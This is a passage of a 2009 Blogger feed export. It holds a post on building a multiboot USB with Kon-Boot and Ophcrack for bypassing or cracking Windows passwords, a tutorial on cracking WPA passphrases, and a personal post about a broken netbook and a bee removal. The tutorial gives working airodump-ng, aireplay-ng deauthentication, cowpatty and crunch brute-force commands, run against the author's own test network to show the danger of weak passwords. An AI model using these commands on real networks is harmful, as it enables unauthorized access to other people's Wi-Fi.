/&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;!VERY IMPORTANT!&lt;/span&gt;&lt;br /&gt;Check, double check and then re-check again what drive your USB disk is in disk management.&lt;br /&gt;In this example, you can see in disk management that it is drive 3.&lt;br /&gt;In grubinst_GUI choose the correct drive from the dropdown list, leave all else unchecked and&lt;br /&gt;click on install.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img30.imageshack.us/img30/3082/grubinst2.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 343px; height: 549px;" src="http://img30.imageshack.us/img30/3082/grubinst2.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;When the popup comes that MBR has been successfully installed, all is good and grubinst can be closed.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img514.imageshack.us/img514/6793/grubinst3.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 669px; height: 338px;" src="http://img514.imageshack.us/img514/6793/grubinst3.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Thats it for step 2!&lt;br /&gt;&lt;br /&gt;3.&lt;br /&gt;Extract the grub4dos to a folder and copy the file grldr to the root of your USB disk.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img504.imageshack.us/img504/2498/grldr.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 585px; height: 558px;" src="http://img504.imageshack.us/img504/2498/grldr.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Your USB drive is now prepped and ready to continue !&lt;br /&gt;&lt;br /&gt;All the above just done on a 1G stick (all I had empty and handy at the time..)&lt;br /&gt;but of course much better to do it on a much larger one so that you can fit more&lt;br /&gt;distros on it !&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Distros&lt;br /&gt;=======&lt;br /&gt;&lt;br /&gt;So now the USB drive is prepared, time to put the distro's on.&lt;br /&gt;&lt;br /&gt;For example I only have 3 on my 16G usb drive ;&lt;br /&gt;&lt;br /&gt;BackTrack 4 Pre Final&lt;br /&gt;http://www.remote-exploit.org/backtrack_download.html&lt;br /&gt;OphCrack (live cd)&lt;br /&gt;http://ophcrack.sourceforge.net/&lt;br /&gt;KonBoot&lt;br /&gt;http://www.piotrbania.com/all/kon-boot/&lt;br /&gt;(I downloaded the floppy drive image)&lt;br /&gt;&lt;br /&gt;For Backtrack and Ophcrack you need to extract the iso to the USB and then rename the boot folder for each one.&lt;br /&gt;So after extracting the backtrack.iso to the USB drive, there will be two folders; casper &amp;amp; boot.&lt;br /&gt;&lt;br /&gt;Rename the boot folder to for instance "bootBT4"&lt;br /&gt;&lt;br /&gt;Then extract the Opcrack live cd and rename the opcrack boot folder to for instance "bootOPH"&lt;br /&gt;&lt;br /&gt;For KonBoot, you can copy the image directly to the root of the USB drive.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Boot menu&lt;br /&gt;========&lt;br /&gt;&lt;br /&gt;So now all the distros are on the USB we need to make the boot menu point to the right areas.&lt;br /&gt;&lt;br /&gt;1.&lt;br /&gt;Right-click in the root of the USB drive and create new txt file, save this as menu.lst&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The exact text required will change depending on how you named your boot folders and konboot image, but mine is very simple and looks like this ;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;color blue/black lime/blue&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;timeout 120&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;#BT4 Pre Final, Pentesting utilities&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;#Without persistant changes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;#------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;title BackTrack4 Pre Final&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;kernel /bootBT4PF/vmlinuz BOOT=casper boot=casper nopersistent rw quiet vga=0x317&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;initrd=/bootBT4PF/initrd.gz&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;rootnoverify&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;#KON-BOOT, bypassing windows passwords&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;#-------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;title Kon-Boot FD&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;map --mem /FD0-konboot-v1.1-2in1.img (fd0)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;map --hook&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;chainloader (fd0)+1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;map (hd1) (hd0)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;map --hook&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;rootnoverify (fd0)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;#OPHcrack, windows password cracking&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;#with rainbow tables, XP Special&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;#------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;title Ophcrack&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;kernel /bootOPH/bzImage rw root=/dev/null vga=normal lang=C kmap=us screen=1024x768x16 autologin&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;initrd /bootOPH/rootfs.gz&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;#Reboot the system&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;#-----------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;title Reboot&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;reboot&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;My directories look like this;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img401.imageshack.us/img401/9749/usbp.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 657px; height: 459px;" src="http://img401.imageshack.us/img401/9749/usbp.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;So now you have a fully functioning multi boot USB drive !&lt;br /&gt;&lt;br /&gt;The forums at hak5 have some interesting and helpful info on how to do the above and also nice examples of menu.lst&lt;br /&gt;&lt;a href="http://hak5.org/forums/index.php?showtopic=13842"&gt;http://hak5.org/forums/index.php?showtopic=13842&lt;br /&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;Enjoy !&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8356530514965708840-9092965326467749534?l=adaywithtape.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adaywithtape.blogspot.com/feeds/9092965326467749534/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://adaywithtape.blogspot.com/2009/08/multiboot-usb-finally.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/9092965326467749534'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/9092965326467749534'/><link rel='alternate' type='text/html' href='http://adaywithtape.blogspot.com/2009/08/multiboot-usb-finally.html' title='Multiboot USB, Finally !!'/><author><name>TAPE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_vtirOlMBs5Y/S6kOuRDa9SI/AAAAAAAAABU/wlZOFGWKug8/S220/avatar.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8356530514965708840.post-7659637691238377259</id><published>2009-07-28T21:31:00.022+02:00</published><updated>2009-08-12T17:57:33.192+02:00</updated><title type='text'>Back on Track to Backtrack - WPA cracking</title><content type='html'>So, after having lived a couple of weeks without my eeepc, I could take it no longer and got myself a new toy.&lt;br /&gt;A Samsung N110, pretty sweet, and actually did go for Windows XP OS, whatever you say about Windows, it is usually handy to have and when needing Linux, I'll just bootup the live USB.&lt;br /&gt;&lt;br /&gt;Only small gripe I have is that the bios does now allow booting from SD card which is kinda annoying, but I have a tiny USB 8gig drive, so its OK. Its just that the eeePC seemed to be more versatile out of the box.. oh well, no worries, it works !&lt;br /&gt;&lt;br /&gt;&lt;a style="" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img259.imageshack.us/img259/6356/n110.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 451px; height: 431px;" src="http://img259.imageshack.us/img259/6356/n110.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;When BT4 is finalised I'll probably do a dual boot HDD install, but waiting with that for the moment :)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So anyway, back on track to backtrack ..&lt;br /&gt;&lt;br /&gt;In previous posts I looked at wireless and WEP encrypted networks and how especially&lt;br /&gt;the wep networks are dangerously weak.&lt;br /&gt;This all done with BackTrack3 Final.&lt;br /&gt;&lt;br /&gt;Important to note the below using BackTrack 4 Pre Final.&lt;br /&gt;&lt;br /&gt;Now time to look at WPA and WPA2 protected networks which are normally the ones that&lt;br /&gt;you will see the most.&lt;br /&gt;&lt;br /&gt;I have setup a test network using my Asus router as follows ;&lt;br /&gt;&lt;br /&gt;essid      : default&lt;br /&gt;Encryption : WPA-PSK&lt;br /&gt;No MAC filtering&lt;br /&gt;DHCP enabled&lt;br /&gt;&lt;br /&gt;So the point of this is to demonstrate the problems with people using weak passwords for their WPA encrypted connections.&lt;br /&gt;&lt;br /&gt;For this example we will use Cowpatty, which is a program made to crack WPA(2) passwords using either rainbow tables or simple wordlists.&lt;br /&gt;Granted this does not catch all, but it can catch the uncautious.&lt;br /&gt;&lt;br /&gt;The advantage of using rainbow tables is that it is much faster (when you actually have the tables that is..)  just using a wordlist means the program has to combine the essid, with the passphrase, create a hash out of these two and see of it is OK.&lt;br /&gt;Rainbow tables already have these hashes pre-computed, so saving time.&lt;br /&gt;&lt;br /&gt;Some rainbow tables have already been made using of the some of the most commonly seen essids, using a 49 million word dictionary for use with Cowpatty; &lt;a href="http://www.offensive-security.com/wpa-tables/"&gt;http://www.offensive-security.com/wpa-tables/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;So what we need to do is the following&lt;br /&gt;&gt; Identify our target network&lt;br /&gt;&gt; Verify if any clients are associated to network&lt;br /&gt;&gt; If no clients associated.. wait..&lt;br /&gt;&gt; If clients associated, deauth and capture 4-way handshake&lt;br /&gt;&gt; Use this 4-way handshake to with cowpatty to crack network WPA password.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Identifying target&lt;br /&gt;&lt;br /&gt;Start our interface in monitor mode and start up airodump, since I know my network will be a WPA network on channel 1, I start airodump with filters for those ;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;airmon-ng&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;airmon-ng start wlan0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;airodump-ng mon0 -c 1 -t WPA&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img268.imageshack.us/img268/1584/snapshot1n.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 676px; height: 319px;" src="http://img268.imageshack.us/img268/1584/snapshot1n.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;And then see the target we are looking to attack&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img268.imageshack.us/img268/2388/snapshot2e.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 676px; height: 319px;" src="http://img268.imageshack.us/img268/2388/snapshot2e.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So after having identified the network I am after I will re-start airodump identifying the bssid and start monitoring and writing data (in this case using 'default' as filename to write to)and wait for a client to connect.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;airodump-ng mon0 -c 1 -t WPA --bssid 00:13:D4:09:32:60 -w default&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img268.imageshack.us/img268/1701/snapshot3a.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 676px; height: 319px;" src="http://img268.imageshack.us/img268/1701/snapshot3a.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;When the 4-way handshake is captured after the client associates (see top right of the picture below) I no longer need airodump and can continue.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img193.imageshack.us/img193/9665/snapshot4f.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 676px; height: 319px;" src="http://img193.imageshack.us/img193/9665/snapshot4f.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;If there is already a client connected to the AP, we need to deauth the client and force it to reconnect, thus giving the 4-way handshake we need.&lt;br /&gt;In a seperate console;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;aireplay-ng mon0 -0 5 -a 00:13:D4:09:32:60 -c 00:1F:3C:8C:D9:71&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Now we need to have the WPA rainbow table handy for this crack, so use the link above for rainbow tables or make your own..&lt;br /&gt;&lt;br /&gt;Start up cowpatty and enter information as necessary.&lt;br /&gt;(All below my specific info, change to suit your needs)&lt;br /&gt;&lt;br /&gt;In this case (in cowpatty console);&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;./cowpatty -d /media/disk/WPA_tables/default.wpa -r ~/default-01.cap -s default&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img193.imageshack.us/img193/4547/snapshot5v.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 676px; height: 346px;" src="http://img193.imageshack.us/img193/4547/snapshot5v.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;When starting;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img525.imageshack.us/img525/7523/snapshot6i.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 676px; height: 346px;" src="http://img525.imageshack.us/img525/7523/snapshot6i.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;When done;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img146.imageshack.us/img146/6307/snapshot7.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 676px; height: 346px;" src="http://img146.imageshack.us/img146/6307/snapshot7.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So as you can see from the above pic, the passphrase is butterfly and the program managed to go through over 45000 passwords per second.. pretty good !&lt;br /&gt;&lt;br /&gt;Doing the exact same crack, but then just using the dictionary file from which the rainbow tables were made, the situation only changes when starting up cowpatty.&lt;br /&gt;You still need the handshake with the AP and the essid, then proceed as follows;(in my case my wordlist is on the drive-folder /media/disk/WORDLISTS/)&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;./cowpatty -f /media/disk/WORDLISTS/wpalist.txt -r ~/default-01.cap -s default&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img339.imageshack.us/img339/8661/snapshot8.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 692px; height: 338px;" src="http://img339.imageshack.us/img339/8661/snapshot8.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img196.imageshack.us/img196/1341/snapshot10.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 692px; height: 338px;" src="http://img196.imageshack.us/img196/1341/snapshot10.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I didn't have the patience to let it run its course.. it was only doing 34 passphrases a second and that would have taken a looong time ! However given time and patience.. a lot can be done.&lt;br /&gt;Remember this done on a Samsung N110 with 2gig ram, if the cracking were to be done on a different/better setup, speed would be better.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;It is also possible to bruteforce the passphrase using crunch and piping the output through cowpatty.&lt;br /&gt;&lt;br /&gt;For instance, there is a telecom provider here that issued a WPA key along with it's router that&lt;br /&gt;was always a combination of numbers  and upper case characters up to F of 8 characters in length.&lt;br /&gt;&lt;br /&gt;In that case, if we were to feel patient.. we could run crunch using the known variables and pipe the outcome  to cowpatty as follows ;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;/pentest/passwords/crunch/./crunch 8 8 0123456789ABCDEF | /pentest/wireless/cowpatty/./cowpatty -f - -r ~/capfile.cap -s essid&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I can do something similar in my case using &lt;span style="color: rgb(255, 0, 0);"&gt;buterfly&lt;/span&gt; as character set (since I know those are all the characters in the passphrase) and to speed things up fixing the first 5 characters;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;/pentest/passwords/crunch/./crunch 9 9 buterfly -t butte@@@@ | /pentest/wireless/cowpatty/./cowpatty -f - -r ~/default-01.cap -s default -v &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img43.imageshack.us/img43/4143/crunchcowpatty.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 622px; height: 437px;" src="http://img43.imageshack.us/img43/4143/crunchcowpatty.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8356530514965708840-7659637691238377259?l=adaywithtape.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adaywithtape.blogspot.com/feeds/7659637691238377259/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://adaywithtape.blogspot.com/2009/07/back-on-track-to-backtrack-wpa-cracking.html#comment-form' title='24 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/7659637691238377259'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/7659637691238377259'/><link rel='alternate' type='text/html' href='http://adaywithtape.blogspot.com/2009/07/back-on-track-to-backtrack-wpa-cracking.html' title='Back on Track to Backtrack - WPA cracking'/><author><name>TAPE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_vtirOlMBs5Y/S6kOuRDa9SI/AAAAAAAAABU/wlZOFGWKug8/S220/avatar.jpg'/></author><thr:total>24</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8356530514965708840.post-8073624128834051240</id><published>2009-07-06T11:21:00.005+02:00</published><updated>2009-07-16T14:21:31.442+02:00</updated><title type='text'>Disaster strikes !</title><content type='html'>Argh !&lt;br /&gt;&lt;br /&gt;My lovely Asus eeepc took a dive to the floor and has fractured the screen :(&lt;br /&gt;&lt;br /&gt;I am blaming my wife, she is blaming my uncontrolled movements after having&lt;br /&gt;a few beers too many.. which of course is ludicrous seeing as how I still move&lt;br /&gt;with the grace of a ballet dancer no matter the quantity of alcohol containing&lt;br /&gt;beverages I consume..&lt;br /&gt;So I have one-sidedly decided to put the blame close to the middle.. closer to her..&lt;br /&gt;(pics will be posted when I find the charger.. incidently I blame the wife for losing that as well)&lt;br /&gt;&lt;br /&gt;EDIT&lt;br /&gt;----&lt;br /&gt;OK, found the charger.. it might not have been the better half's fault after all.. &lt;br /&gt;Still undecided on the damage sustained to my eeepc though !&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img338.imageshack.us/img338/3695/cimg0965.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 1077px; height: 808px;" src="http://img338.imageshack.us/img338/3695/cimg0965.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;In any case the netbook is toast now and am unable to practice the joys of BackTrack&lt;br /&gt;which is a nuisance as the new BT4PreFinal is out and looks pretty sweet.. and I want to get to grips with all the goodness on it !&lt;br /&gt;&lt;br /&gt;So to bide the time, a short summary of the excitement on holiday.. yeah.. its kinda quiet there, but great for a rest.&lt;br /&gt;&lt;br /&gt;Arrived and found there was a large bee's nest between the windows and the shutters.. yikes..&lt;br /&gt;Got the bee man round and he smoked them with a mixture of straw and cattle feed (?!) which&lt;br /&gt;seems to calm them down a bit, then cut off the combs and put the ones with bee larvae in them&lt;br /&gt;in a new slot for his box..&lt;br /&gt;&lt;br /&gt;I was hoping to see the queen, but never did, and even the bee man didn't see her either, all in all&lt;br /&gt;though pretty damn sweet to see.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The beehive;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img269.imageshack.us/img269/2550/cimg0876c.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 979px; height: 734px;" src="http://img269.imageshack.us/img269/2550/cimg0876c.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img512.imageshack.us/img512/5633/cimg0877.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 734px; height: 979px;" src="http://img512.imageshack.us/img512/5633/cimg0877.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The dude getting ready;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img195.imageshack.us/img195/7062/cimg0884i.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 979px; height: 734px;" src="http://img195.imageshack.us/img195/7062/cimg0884i.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img199.imageshack.us/img199/2771/cimg0885.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 979px; height: 734px;" src="http://img199.imageshack.us/img199/2771/cimg0885.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Starting the removal of the combs one by one ;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img339.imageshack.us/img339/8403/cimg0887.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 734px; height: 979px;" src="http://img339.imageshack.us/img339/8403/cimg0887.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Scraping off the bees into his make-shift hive ;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img200.imageshack.us/img200/4595/cimg0888n.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 734px; height: 979px;" src="http://img200.imageshack.us/img200/4595/cimg0888n.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img56.imageshack.us/img56/7222/cimg0891.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 979px; height: 734px;" src="http://img56.imageshack.us/img56/7222/cimg0891.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img200.imageshack.us/img200/6880/cimg0892i.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 734px; height: 979px;" src="http://img200.imageshack.us/img200/6880/cimg0892i.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img199.imageshack.us/img199/6724/cimg0896p.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 979px; height: 734px;" src="http://img199.imageshack.us/img199/6724/cimg0896p.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try 